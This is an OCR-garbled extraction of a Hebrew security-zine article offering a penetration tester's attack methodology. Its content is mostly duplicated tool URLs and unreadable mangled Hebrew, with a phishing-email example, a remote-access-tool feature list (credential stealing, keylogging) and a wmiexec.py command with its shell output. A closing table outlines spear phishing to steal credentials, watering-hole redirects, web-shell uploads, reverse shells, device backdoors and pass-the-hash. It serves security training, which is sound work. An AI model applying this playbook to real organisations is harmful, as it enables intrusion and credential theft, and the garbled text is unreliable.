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https://www.youtube.com/watch?v=gnyCbU7jGYA
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http://blog.ptsecurity.com/2016/06/antivirus-as-threat.html
https://bugcrowd.com/list-of-bug-bounty-programs
http://www.theverge.com/tech/2016/5/3/11579972/facebook-10-year-old-hacking-instagram-security-bug-10k
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https://technet.microsoft.com/fr-fr/library/dd983939(v=ws.10).aspx
https://www.youtube.com/watch?v=FIXoFZT2WX4
https://www.youtube.com/watch?v=FIXoFZT2WX4
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https://en.wikipedia.org/wiki/Reconnaissance
http://www.digitalwhisper.co.il/files/Zines/0x05/DW5-3-METADATA.pdf
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https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
https://www.elevenpaths.com/es/labstools/foca-2/index.html
https://github.com/laramies/metagoofil
http://linkedin.com/
http://facebook.com/
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https://github.com/laramies/theHarvester
https://github.com/laramies/theHarvester
http://www.paterva.com/web7/
http://www.paterva.com/web7/
http://www.edge-security.com/theharvester.php
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https://support.google.com/a/answer/48090?hl=en
https://en.wikipedia.org/wiki/DNS_zone_transfer
https://en.wikipedia.org/wiki/DNS_zone_transfer
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https://who.is/
https://bitbucket.org/LaNMaSteR53/recon-ng
https://bitbucket.org/LaNMaSteR53/recon-ng
http://mxtoolbox.com/NetworkTools.aspx
http://mxtoolbox.com/NetworkTools.aspx
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https://portswigger.net/burp/
https://portswigger.net/burp/
http://bytecodeviewer.com/
https://www.hopperapp.com/
http://www.omnisecu.com/ccna-security/what-is-snmp-simple-network-management-protocol.php
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https://nmap.org/
https://nmap.org/
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://www.shodan.io/
https://www.shodan.io/
http://www.net-snmp.org/wiki/index.php/TUT:snmpwalk
http://www.net-snmp.org/wiki/index.php/TUT:snmpwalk
http://blog.spamfighter.com/wp-content/uploads/screenshotgmail_091145584580_640x360.jpg
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To: nc.on.ca (noteithejmissing{AliniAmazon)

Cc

Subject: Suspension

amazoncom
= L4
R Generic non-personalized greeting

We have sentyou this e-mail, because we have strong reason to belive, your account has been used by someone
else.In order to prevent any fraudulent activity from occurring we are required to open an investigation into this matter.
We've locked your Amazon account, and you have 36 hours to verify it, or we have the right to terminate it.

To confirm

hitps:iiwww. amazon.comiexeciobidosisign-in.html

The Amazon Associates Team

) Z Hovering over the link reveals; it.points.to;a.non-Amazon
Sincerely, site;- "http:/iredirect-kereskedj.com" a
—

1996-2013, Amazon.com, Inc. or its affiliates
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https://it.sheridancollege.ca/service-catalogue/email-calendar/employee/phishing-alert.html
https://github.com/elceef/dnstwist
https://github.com/gophish/gophish
http://www.blacksquirrel.io/
http://browserspy.dk/

Technologic

Unina N'YUR DMNXNIN 0'-Payload N¥n7? nimdn iy o
IPPam> e

.D'TAIVN D'Y712 0NN NIYTN NN 270w DRk 20 - nnann v IP 'nno 172y o

N¥NIWD MNI' WNIRA IT YAYN NY0] WNANWI ,W212 '7D 1Ay TN DnTta NIX'7 ART X “|D'7 1ayn

.0'9'¥90 D'YNNWN 1AV N9'PN TnY
D'V D7D

U722 57 nrTint nn'nin Xt WK N71Vn IS TR RO RIXnG N e

NTPINN 29N

N71>' 0'ATN7 N01 X ,DN7YW D9 TOTNI DN'AYNN ,NI2ANN 'TAIY NITIX YT'N 7'901 190X TNKY7
7' ANXN .INI7V22Y ANKY DONIR D191 WK AT 7' 0'On XD DA D'MIT 01YYN .N9YN
Ny Flash NXoM W' D'IoN w7117 DX ,XNAIT? .W72W wnnwna Ni7nd n'-payload NN n'imwn
,0'9'¥90 D'YNNWYN LAIV7 DX NTAL .TIR 1'72V YOI exploitable SWF Dy Ty 17 a'¥a 1ax ,RCE-Y
IR DMKIN WK 17X7 77 D™MYAI9 D' TIMY %11 ['YHTINN 27w2 190KV TINY'D NNTNA WNNW 11X

N'IXAN VAXXN Ny'ao

22 D'YNNUNI OYII9 X D'97IN ,0N10N NIX A'Wn7 T ,0MN'YY7 1D q'0IN
HMANTN MpaDnN e
.D'I0N |2y DINN 72 DN'YZX D'Y212 DN7W NNLVANY D'WTI' DAY D'INX @

JN'TNN ONRD NNAT? ,NMNANN WIN'WA DNR @

NYu” A'WN? INYRN1 NN .0TYY7 YNt nnuna D'yl 7w 10 1%0n 0'ORIN 0N 17X 01T
2N .DNYY '9'Y90N TV DX N I97N NZ'Al7 17'W9' DN ,0N7W N'O'Y90N NIUNN 7Y "YIXN
N1N7 120 DX 17'K ,OWON DX L|X¥7 '910N N7ITAl IT NNWOX DA NI0d7 1'72y D'-PenTester

.NNANN 'TAIY DX QINY7 "D IYNNY' D'9RINY
D'vAI D7D

.BEEF N1'N NT XYW NNTN NI TA? MR N'MYUN @

'N 770 - QI M) 2AWN7 NN N
www.DigitalWhisper.co.il
15 2016 LOIAIX ,74 [I''2



https://panopticlick.eff.org/static/browser-uniqueness.pdf
https://github.com/Valve/fingerprintjs2
http://beefproject.com/
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https://github.com/xmendez/wfuzz
https://github.com/xmendez/wfuzz
https://cirt.net/Nikto2
https://cirt.net/Nikto2
https://addons.mozilla.org/en-US/firefox/addon/fireforce/
https://addons.mozilla.org/en-US/firefox/addon/fireforce/
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https://en.wikipedia.org/wiki/Content_management_system
https://wordpress.com/
https://www.joomla.org/
https://www.joomla.org/
https://github.com/zaproxy/zaproxy
https://github.com/zaproxy/zaproxy
https://code.google.com/archive/p/cms-explorer/
https://code.google.com/archive/p/cms-explorer/
https://sourceforge.net/projects/joomscan/
https://sourceforge.net/projects/joomscan/
https://wpscan.org/
https://wpscan.org/
https://www.owasp.org/index.php/Category:Attack
https://www.owasp.org/index.php/Blind_SQL_Injection
https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://sqlmap.org/
http://sqlmap.org/
https://portswigger.net/burp/
https://portswigger.net/burp/
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http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://barracudadrive.com/RaspberryPi.lsp
https://github.com/b374k/b374k
https://github.com/b374k/b374k
https://github.com/epinna/weevely3
https://github.com/epinna/weevely3
https://github.com/sensepost/reGeorg
https://github.com/sensepost/reGeorg
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http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/
https://en.wikipedia.org/wiki/DMZ_(computing)
https://www.shodan.io/
https://censys.io/
http://binwalk.org/
http://binwalk.org/
http://www.devttys0.com/tools/
http://www.devttys0.com/tools/
https://www.dd-wrt.com/site/support/router-database
https://www.dd-wrt.com/site/support/router-database
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https://en.wikipedia.org/wiki/Backdoor_(computing)
https://www.sans.org/reading-room/whitepapers/testing/exploiting-embedded-devices-34022
https://www.busybox.net/
http://nc110.sourceforge.net/
http://nc110.sourceforge.net/
https://www.gnu.org/software/wget/
https://www.gnu.org/software/wget/
https://curl.haxx.se/
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https://www.busybox.net/downloads/binaries/
https://www.busybox.net/downloads/binaries/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html
http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html
http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html
https://www.blackbytes.info/2012/07/socat-cheatsheet/
https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
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http://netcat.sourceforge.net/
http://netcat.sourceforge.net/
http://www.dest-unreach.org/socat/
http://www.dest-unreach.org/socat/
http://bencane.com/2014/10/13/quick-and-practical-reference-for-tcpdump/
https://www.monkey.org/~dugsong/dsniff/
https://www.monkey.org/~dugsong/dsniff/
http://www.tcpdump.org/
http://www.tcpdump.org/
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https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://nmap.org/
https://nmap.org/
http://www.net-snmp.org/wiki/index.php/TUT:snmpwalk
http://www.net-snmp.org/wiki/index.php/TUT:snmpwalk
https://www.monkey.org/~dugsong/dsniff/
https://www.monkey.org/~dugsong/dsniff/
https://ettercap.github.io/ettercap/index.html
https://ettercap.github.io/ettercap/index.html
https://github.com/DanMcInerney/dnsspoof
https://github.com/DanMcInerney/dnsspoof
https://github.com/SpiderLabs/Responder
https://github.com/SpiderLabs/Responder
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https://www.proxifier.com/
https://www.proxifier.com/
http://proxychains.sourceforge.net/
http://proxychains.sourceforge.net/
http://tgcd.sourceforge.net/
http://tgcd.sourceforge.net/
http://www.dest-unreach.org/socat/
http://www.dest-unreach.org/socat/
https://github.com/sensepost/reGeorg
https://github.com/sensepost/reGeorg
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http://www.linusakesson.net/programming/tty/
https://github.com/bendmorris/static-python
https://github.com/bendmorris/static-python
https://www.gnu.org/software/screen/
https://www.gnu.org/software/screen/
https://en.wikipedia.org/wiki/Pass_the_hash

Technologic

LM— NTILM vI— NTLM v2 — Kerberos v5

[Microsoft Windows Domain NI2'202 wIN'waw NIN'RN 2171009 NHI100'0N]

wnnun D% TNt XINCCSTION W% awnd P71 wnnwnn ¢ nnannnn 'unon 1011 Hash-n

NTIDNOXN DX NIINN XINE wnNwn ' 9w Hash-2 7'tnn DC-n DA .Isass.exe )*7nN2 |N2T2 vl

AR L,NT XN I'7X 01DXK K71 201N XIn NTLM nim'R '70N .0'wnnwn Nim'R? '"Mim mirvn

‘DN DIYNN D'0I9N

.D'¥ApN MY 7V 1NK1 ,NYIA D10N YAIZ7? NWA7 nxin o

.LLMNR IX NBT-NS 7171019 n'n' 0T Windows-2 , w1 N2 DNS nwpa N7y o

.0'¥a7N MY 7w 1P-0 NaImd 127 17 Ny mipnn DNS-n Ny e

270 IP-n R DN M RIw ARP nwpa N7y o

TINX LI9Y MAC-D DY NIy NN LAN-2 IN'R X¥NY D'¥APD MY DTN DY D¥Agn DY e
|71 Subnet IMIXQ D'X¥N1 DAY N1 YAID LI'7R NIYTINN NIX 12V JUNNAIL IR DAY J0IRN
.Inxy1 17w MAC-n DY My D'¥2PN NNY

.0'¥apn N 7y 0'ion Share-7 Nwa? SMB nwpa Ry o

.Challenge naxn "y NINTIN? YNNUNNN U DN DY @

.Challenge-n oy Tn' (TI0N N173) Hash-n N19¥nn 101Ny Response 1'TN' Ny! o

NWY 0V1"7PNY NNY NNt "70N Yy¥a' DC-n .DC-7 N9 'y Response-n NIX PITA' D'¥ApPN MY e
Unnunn 7w -Hashn + axinw Challenge-n 7w 21'7'w “y 1'7wn Response '

wUNNUNY TYWON' D'¥ApN NMYI wnhwnn NX NnX' DC-n ,0'nT 0'-Response-n Wl NT'nNa e

.nYn

n7"01 NIMINN

'wnnwn 7¢ NTpimn NN a'wn? 1rona Windows 717009 MIwpn ¢ N910n2 Tnnl Nyd
MY QY P'N [ AT 27w XNAIT? .NYNd 0'w¥Iiny 0'-Windows D'MN'WI D'YNNYA L|"AITN
07171090 7Y AN DITENNAN D1 AT NRIZN DR T¥D ,DC-N NAIMD NN 'URIN DN

.]27 0TI 'MDTNW Responder.py XIN )2 DWY? n71yn "D .LLMNR ,NBT-NS ,NTLM ,WMI ,SMB

D'V D'MIYA NIL D NX i71N01 11X |Z)'7 , YOO D'Mvnn 17"~ |'1n'7 1'2v NN '7TIA NIna

1727 NO1M PN INKYT .I"7Y W' NIPXP79X 17'K1 MW 7D 210 NISNYT N0 ,(nmap-1 '2'0719'T) D'XI9IN

'N 770 - QI M) 2AWN7 NN N
www.DigitalWhisper.co.il
26 2016 LOIAIX ,74 [I''2



http://www.ampliasecurity.com/research/NTLMWeakNonce-bh2010-usa-ampliasecurity.pdf
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http://www.tcpdump.org/
http://www.tcpdump.org/
https://www.monkey.org/~dugsong/dsniff/
https://www.monkey.org/~dugsong/dsniff/
https://github.com/SpiderLabs/Responder
https://github.com/SpiderLabs/Responder
https://nmap.org/
https://nmap.org/
https://www.sans.org/
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
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https://github.com/SpiderLabs/Responder
https://github.com/SpiderLabs/Responder
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Kevin-Robertson/Inveigh
http://blog.gentilkiwi.com/mimikatz
https://twitter.com/gentilkiwi
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
http://carnal0wnage.attackresearch.com/2013/07/mimikatz-minidump-and-mimikatz-via-bat.html
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
https://en.wikipedia.org/wiki/Shadow_Copy
https://en.wikipedia.org/wiki/Shadow_Copy
https://en.wikipedia.org/wiki/Shadow_Copy
https://en.wikipedia.org/wiki/Shadow_Copy
https://en.wikipedia.org/wiki/Shadow_Copy
https://github.com/gentilkiwi/mimikatz
https://github.com/gentilkiwi/mimikatz
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https://en.wikipedia.org/wiki/Server_Message_Block
https://en.wikipedia.org/wiki/Portable_Executable
https://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms686321(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa365790(v=vs.85).aspx
https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
http://www.powershellempire.com/?page_id=523
http://www.powershellempire.com/?page_id=523
https://github.com/CoreSecurity/impacket
https://github.com/CoreSecurity/impacket
https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
https://github.com/byt3bl33d3r/pth-toolkit
https://github.com/byt3bl33d3r/pth-toolkit
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Technologic

Ml

DINQ 7701 'MITN WA 71017 vBI0NP'™M 7w INN9N 1'n Windows Management Instrumentation
WMI D mi7 a1l NHYNT NI CTIVY 271009 DnNa (D n7Y9nn Ndyn Nnna | 00 DN
“NT'R NNDY INIX D9INY 0'901 DYYX'D WMI-7W [2md X ,72IKwnn nna SNMP-7 TIXn nniT
22 IRUN7 CTWORY wIATAT? "7 21wn IR WMI 7W NIPNWORN 7D DX [XD VIOXR X7 .NwN 70 1y

n2'0719TY 17 0'wh v .ok Provider-n Mtya (Npnnn Ni¥a 0a) Windows-2 2N

MIYpPN noin FW-n 0N 0'01*7 Nniv? ,0'NIw 1Ay 0'NImd n'van WMI-7 oroan'an nronisn

AT

D'OPIN 7U NMP'WYN N2'0N .7a0 7V 1207 0'9PIN DA TX IT N'MYN] D'YNNYN D'MTR DRY [2IND
,Powershell ,VBS :7710 now 7on vynd> WMI-A win'y y¥a? nav nivn a'‘nn WMI-2 wnnwn?
.07wIN% DY 7oyn NX 19INY nn Pass The Hash y¥a% n'wTr'e 075 190n o qona ..NET

((MpPnNn IR D717 DNIX2) DN IWNNY' D'9ZINY D'V DYYX'ON

VT QIo'R NAI0? WAL NTya n"yn 7INRUN. e
TIR XN DY DO L [I0NR 1Y ,WMI Repository-7 D'OR IR N90IN

.Win32 process create NIV NITIEOI D™D NXIN @

root@nitrod:-# wmiexec.py administrator:badpassword@l72.16.67.129
Impacket v0.9.13-dev - Copyright 2002-2014 Core Security Technologies

SMBvZ.1l dialect used

[!'] Launching semi-interactive shell - Careful what you execute
C:\=whoami

win7-lab\administrator

Trustedsec-7 NIMN VTP .PNINN AYNN 7Y wmiexec NXIN X7 cli N7a7]

D'V D'

.Windows "7170N9 707 n'NuN nlinn .Python-21 171> 2IM>n 0'ATA NIND TIZ VP'ND Impacket o
.Python n'nwn 2yn n¥1n7 o'xnn .\WMIExec 0Nl N2 NIRNAAIT 7710 VRP'NSN

i DRT 21, Invoke-WMI Njz1d0 vIXA 7w W07IR KN NYD IR 0TI 7192 'MDTN Empire e
.Windows Nn2'202 n¥ 07 o'knn .Powershell natva

N¥IN? TN 1AN21Y Windows Domains 112y Pass The Hash yix'a7 n'7> qoIx Pth-tools e

.UNIX niaraoa

'N 770 - QI M) 2AWN7 NN N
www.DigitalWhisper.co.il
33 2016 LOIAIX ,74 [I''2



https://msdn.microsoft.com/en-us/library/dn792258(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/dn792258(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/dn792258(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/dn792258(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/dn792258(v=vs.85).aspx
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
https://msdn.microsoft.com/en-us/library/aa389388(v=vs.85).aspx
https://www.trustedsec.com/june-2015/no_psexec_needed/
https://github.com/CoreSecurity/impacket
https://github.com/CoreSecurity/impacket
http://www.powershellempire.com/?page_id=523
http://www.powershellempire.com/?page_id=523
https://github.com/byt3bl33d3r/pth-toolkit
https://github.com/byt3bl33d3r/pth-toolkit
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http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
https://technet.microsoft.com/en-us/library/bb490866.aspx
https://technet.microsoft.com/en-us/library/bb490866.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/bb736357(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/bb736357(v=vs.85).aspx
https://technet.microsoft.com/en-us/library/bb490995.aspx
https://technet.microsoft.com/en-us/library/bb490995.aspx
https://msdn.microsoft.com/en-us/library/bb742610.aspx
https://msdn.microsoft.com/en-us/library/bb742610.aspx
https://adsecurity.org/?p=2716
https://technet.microsoft.com/en-us/library/ee461059.aspx
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http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
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https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
https://en.wikipedia.org/wiki/Cerberus
https://adsecurity.org/?p=1640
https://adsecurity.org/?p=1640
https://adsecurity.org/?p=483
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https://adsecurity.org/?p=2011
https://adsecurity.org/?p=2011
https://adsecurity.org/?p=676
https://adsecurity.org/?p=676
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth
https://github.com/bidord/pykek
https://github.com/bidord/pykek
http://e-spohn.com/blog/2013/06/17/veil-psexec-py-pwnage/
http://e-spohn.com/blog/2013/06/17/veil-psexec-py-pwnage/
http://e-spohn.com/blog/2013/06/17/veil-psexec-py-pwnage/
http://e-spohn.com/blog/2013/06/17/veil-psexec-py-pwnage/
https://github.com/Veil-Framework/Veil-Evasion
https://github.com/Veil-Framework/Veil-Evasion
http://www.angusj.com/resourcehacker/
http://www.angusj.com/resourcehacker/
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https://labs.mwrinfosecurity.com/system/assets/142/original/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspx
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https://adsecurity.org/?page_id=1821#TOKEN
https://adsecurity.org/?page_id=1821#TOKEN
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://stackoverflow.com/questions/22866137/automatically-respond-to-runas-from-batch-file
https://blogs.technet.microsoft.com/mrsnrub/2010/08/06/user-account-control-but-im-an-admin/
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
https://www.greyhathacker.net/?p=796
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https://msdn.microsoft.com/en-us/library/windows/desktop/bb775761(v=vs.85).aspx
https://github.com/hfiref0x/UACME
https://github.com/hfiref0x/UACME
https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
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https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx
https://github.com/DarthTon/Blackbone
https://github.com/DarthTon/Blackbone
https://github.com/PowerShellEmpire/Empire
https://github.com/PowerShellEmpire/Empire
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e Encrypted Communication
e Compressing data
e Running in-memory

o CliCommand

o Shell exec (PEs, Payloads)

o Python Scripts

o Powershell Scripts
e Download/Upload files
e Registry
e Credentials stealer

o Windows

o Browser

o Applications

e History
o File History (Recent)
o Browser

e Logging

o Eventlog
e Keyboard Sniffing
e Screenshot
e Network Sniffer
e Proxier
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o SOCKS5
o Port forwarding
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https://security-sh3ll.blogspot.co.il/2011/10/darkcomet-rat-v42-firewall-bypass.html
https://github.com/n1nj4sec/pupy
https://github.com/n1nj4sec/pupy
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http://www.robvanderwoude.com/rundll.php
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http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
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https://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa392389(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa392389(v=vs.85).aspx
https://gist.github.com/mattifestation/e55843eef6c263608206
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https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning
https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning
http://www.fullstacks.io/
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PenTester-7 TL;DR Nx720 - N®01

ID Chapter Subject Do Tools Read about
Know Your Target
1 | Information Search Engines | Search interesting file types and metadata (pdf, doc, txt, Google Queries
Gathering and etc).
Reconnaissance FOCA/
MetaGoofil
Get employee names & emails. theHarvester
“The larger the attack
surface, the more Maltego
holes you to find”
LinkedIn
Facebook
Data
Subdomain Get more subdomains and company’s IP ranges. theHarvester DNS
Enumeration
Shodan.io
Expose the actual company’s IP (mx.company.com, Mxtoolbox
nsl.company.com)
Recon-ng
Techniques:
DNS zone transfer.
DNS enumeration based on wordlist.
Public search engines queries.
Who-is lookups | Whois lookups. Whols

Google Queries
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https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
https://www.elevenpaths.com/es/labstools/foca-2/index.html
https://github.com/laramies/metagoofil
https://github.com/laramies/theHarvester
http://www.paterva.com/web6/products/maltego.php
http://linkedin.com/
http://facebook.com/
https://www.data.com/
https://github.com/laramies/theHarvester
https://www.shodan.io/
http://mxtoolbox.com/NetworkTools.aspx
https://bitbucket.org/LaNMaSteR53/recon-ng
https://support.google.com/a/answer/48090?hl=en
https://who.is/
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
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Reverse lookups by using “google hack”:
"company’s address" site:company.com

Mobile Download their mobile applications from Bytecode iOS reverse
Applications Appstore/GooglePlay and investigate: overview
Hopper
- Domains
- APlcalls
- Hard coded values
(usernames/passwords/emails)
- txt/readme files and comments.
- Code flows
- DBs
Port Scanning For each IP, scan opened ports for better understanding Nmap
and of:
Fingerprinting WhatWeb
1. Device and manufacture (Router, Printer, etc)
2. 0S (Windows, Linux, Embedded..) Shodan.io
3. Services (SQL, Domain services...)
4. Web applications (CMS, FW, IDS/IPS..) SNMPWalk
*Don’t forget to run SNMP scan as well Zmap
BlindElephant
Gain First Access |
2.1 | Gaining Access 1 Social Spear phishing GoPhish MetaPhish
Engineering
The social way 1. Prepare a nice fake email supposedly from a well DNSTwist
known company (linkedin, facebook, amazon).
2. Send them a contiguous file (pdf, doc).
Using the 3. Build a website using a similar URL (gmaill.com), steal
collected data their credentials and redirect back to original
for hunting website.
users from
inside the
company
Web Profiling Profile your targets Blacksquirrel BrowserSpy
1. Build a website, send them a phishing mail with the Cobalstrike How-to Guide
URL.
2. Collect data about UA, OS, Services, IPs, etc.
Web Exploiting | Exploit your targets BeEF
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http://bytecodeviewer.com/
https://www.hopperapp.com/
https://www.owasp.org/images/b/b9/OWASP_Mobile_App_Hacking_(AppSecUSA_2014)_Workshop_Content.pdf
https://www.owasp.org/images/b/b9/OWASP_Mobile_App_Hacking_(AppSecUSA_2014)_Workshop_Content.pdf
https://nmap.org/
http://www.morningstarsecurity.com/research/whatweb
https://www.shodan.io/
http://www.net-snmp.org/wiki/index.php/TUT:snmpwalk
https://zmap.io/
http://blindelephant.sourceforge.net/
https://github.com/gophish/gophish
https://github.com/elceef/dnstwist
http://www.blackhat.com/presentations/bh-usa-09/SMITH_VAL/BHUSA09-Smith-MetaPhish-PAPER.pdf
http://www.blacksquirrel.io/
https://www.cobaltstrike.com/
http://browserspy.dk/
http://blog.cobaltstrike.com/2013/08/15/phishing-system-profiles-without-phone-calls/
http://beefproject.com/

Technologic

1. Build a website, send them a phishing mail with the
URL.
2. Exploit their browser using the previous collected

data.
Target Specific users All of the above | Browser
Individuals Uniqueness
Hacking a website frequented by the employees and
adding the exploit there.
1. Collect data and profile them (will be used as ACL).
2. Hack one of their web servers.
3. Edit one of the pages with a <frame> which redirects
to your own website only if the user matches the
criteria.
4. When redirected to your website, exploit them.
Gain First Access Il
2.2 | Gaining Access 2 Browse and For each domain and subdomain:
Identify
The web-server 1. Surfthem and their web applications.
way 2. Download the source code of what’s possible.
3. Identify web applications and their versions.
URL Scanning 1. Robots.txt. Nikto
and Fuzzing 2. Admin panels (CPanel, Plesk, etc).
3. URLs common mistakes and misconfigurations (/.svn, | WFuzz
/backup, etc). )
4. Administration pages (phpmyadmin, admin login, FireForce
customer login, etc).
5. Bruteforce admin login forms.
Custom code / 1. Search for the original code (most of the code will be | ZAPorxy
Proprietary laying on a web app someone else wrote before).
Web Apps a. Take string from the src-code and google
them to find the original author.
b. Buyit
c. Download the full code and research.
2. Use web scanner to find vulnerabilities quickly.
Well Known Search for public exploits. WPScan
CMS
Joomscan
CMS-Explorer
Exploiting on Search for: Burp Attacks
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https://panopticlick.eff.org/static/browser-uniqueness.pdf
https://panopticlick.eff.org/static/browser-uniqueness.pdf
https://cirt.net/Nikto2
https://github.com/xmendez/wfuzz
https://addons.mozilla.org/en-US/firefox/addon/fireforce/
https://github.com/zaproxy/zaproxy
http://wpscan.org/
https://sourceforge.net/projects/joomscan/
https://code.google.com/archive/p/cms-explorer/
https://portswigger.net/burp/
https://www.owasp.org/index.php/Category:Attack

Technologic

your own 1. SQLi(SQL injection) SQLMap LFI
2. LFI (local file inclusion)
3. Upload files XSS
4. Unauthenticated admin pages
5. APlinjection
6. CSRF, XSS
7. etc.
Web Shell 1. Upload a web shell Weevely Reverse Shell
2. Get areverse back connection Connection
B374k
Tunneler Web based SOCKS proxy tunneler reGeorg
Gain First Access lll
2.3 | Gaining Access 3 Embedded 1. Understand what’s the device. shodan.io How To Guide
Appliances 2. Obtain such a device or search for one in DBs around
The embedded the world. Censys
way 3. Any public exploits found ?
4. Extract the device firmware. Dd-wrt
Routers, IP 5. Search for vulnerabilities. BinWalk
Cameras, VOIP LILLVLE]LS
boxes
Devtty0 routerpwn.com
Create a 1. Steal credentials Exploiting
backdoor 2. Upload/Open Telnet service Embedded
3.  Write a small backdoor Devices
4. Upload a new custom-home-made firmware
Don’t exploit
the device
every time you
want to enter,
just use the
backdoor.
Basic Post- 1. Standard UNIX utilities Busybox
Exploitation a. nc, ping, wget, curl, netstat, telnet, ssh, etc..
Tools
Prepare Yourself
3 | Post-Exploitation | Shell Socat socat Socat
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http://sqlmap.org/
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://epinna.github.io/Weevely/
https://github.com/b374k/b374k
